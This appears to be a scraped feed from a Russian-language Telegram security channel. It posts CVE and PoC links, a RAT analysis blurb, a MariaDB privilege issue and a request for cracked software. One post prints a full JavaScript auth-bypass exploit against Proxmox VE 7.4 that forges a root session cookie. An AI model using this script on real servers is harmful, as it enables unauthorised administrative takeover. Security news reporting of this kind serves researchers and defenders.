Proxy Bar

coming soon ...

#zeronights2026 #прогрев

👍20😱6🔥2

8.58K views20:35

Proxy Bar

CVE-2026-19478 — GitLab
*
A/B lab + safe PoC

👍9🔥8😱1

7.93K views15:11

Proxy Bar

Fuck eah !!!
*
tmp.0ut 5 Volume

🔥34👍4😱1

7.08K views15:30

Proxy Bar

25 august 1991
Некий фин, зарелизил core
О чем не постеснялся заявить через Usenet в группу comp.os.minix
а дальше фина понесло, да и остальных зацепило.
С праздником !

#linux35 #50letVLKSM

👍35🔥17😱4

7.17K views15:03

Proxy Bar

CVE-2026-18963 KeyCloak
*
reset-credentials bypass → unauthenticated account takeover

PoCexploit

👍20😱5🔥2

7.96K views15:34

Proxy Bar

Two Zero-Days in the DrayTek Vigor2962 Router
*
read

Рубрика нас просят (пора с этим завязывать)

👍9🔥3😱2

7.79K views13:14

Proxy Bar

Есть у кого ISO ?
А то срочно нужен ULTRAedit 6.10a с крЕками 😢

👍37🔥20😱7

8.55K views13:20

Proxy Bar

This media is not supported in your browser

VIEW IN TELEGRAM

CVE-2026-75604 Next.js Windows RCE
*
PoC

👍14🔥4😱3

9.73K views18:09

Proxy Bar

This media is not supported in your browser

VIEW IN TELEGRAM

CVE-2026-72137 ubuntu-7.0.0-28 LPE
*
exploit

👍16🔥13😱3

10.1K views08:53

Proxy Bar

Зло все еще может вернуться, оно просто умеет ждать

😱19👍17🔥4

6.9K views09:36

Proxy Bar

Proxmox VE
*
PVE 7.4 auth-bypass exploit

// PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
    const form = new URLSearchParams({
        username: "root@pam",
        password: "root@pam",
        "tfa-challenge": "NEBUSEC-CHALLENGE",
    });
    const loginResponse = await fetch("/api2/json/access/ticket", {
        method: "POST",
        credentials: "omit",
        headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
        body: form,
    });
    const loginBody = await loginResponse.json();
    document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
    location.reload()
})();

👍23😱20🔥7

9.18K views15:30

Proxy Bar

Proxmox VE * PVE 7.4 auth-bypass exploit // PVE 7.4 auth-bypass @NebuSec 2026 // First, make sure to try logging in as root with this exact password: root@pam (async () => { const form = new URLSearchParams({ username: "root@pam", password:…

This media is not supported in your browser

VIEW IN TELEGRAM

Подъехала инфа что в версии 8.0.3 / 8.2 proxmox тоже есть bypass
8.4 и 9.2 пока (!) считаются безопасными

👍27🔥13😱4

9.58K viewsedited 18:50

Proxy Bar

1:13

This media is not supported in your browser

VIEW IN TELEGRAM

уж лучше отдать AI чем в netflix 😃

👍22🔥16😱7

8.28K views20:13

Proxy Bar

😢
56k.rip

🔥21👍3😱3

7.93K views17:16

Proxy Bar

DarkTortilla RAT
*
Неплохой мини разбор DarkTortilla RAT: вытаскивание паролей, cookies и банковских кредов из браузеров, работа с os_crypt / app_bound_encrypted_key.
Из интересного - эксфильтрация сразу через Telegram Bot, SMTP и FTP, плюс немного реверса через Binary Ninja / x64dbg.

*
Reverse engineering analysis

👍9🔥3

4.98K views15:38

Proxy Bar

MariaDB GRANT PROXY permits
*
ПРикольно
юзер MariaDB с низкими правами может менять пароли других юзеров. root тоже.
CVE пока не дали

По шагам

👍21🔥6

5.71K views17:01

Terminator 2: Judgment Day
35 лет однако !
Расширенная режиссерская версия ?

👍13😱3🔥1